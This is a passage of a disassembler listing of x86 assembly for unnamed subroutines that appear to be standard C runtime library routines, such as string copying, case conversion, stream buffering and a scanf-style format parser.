loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFF4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFF4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEC1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBE4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB95C, ecx
		mov	eax, offset dword_43CCF0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE58
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB958, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCF4[edx*8]
		mov	dword_4DB958, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB958, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB958, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0E8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D108
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB40
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9E4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9E4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBE4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9D8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBE4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBE8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBE8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBE4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBE4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF88
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE60
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE58


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
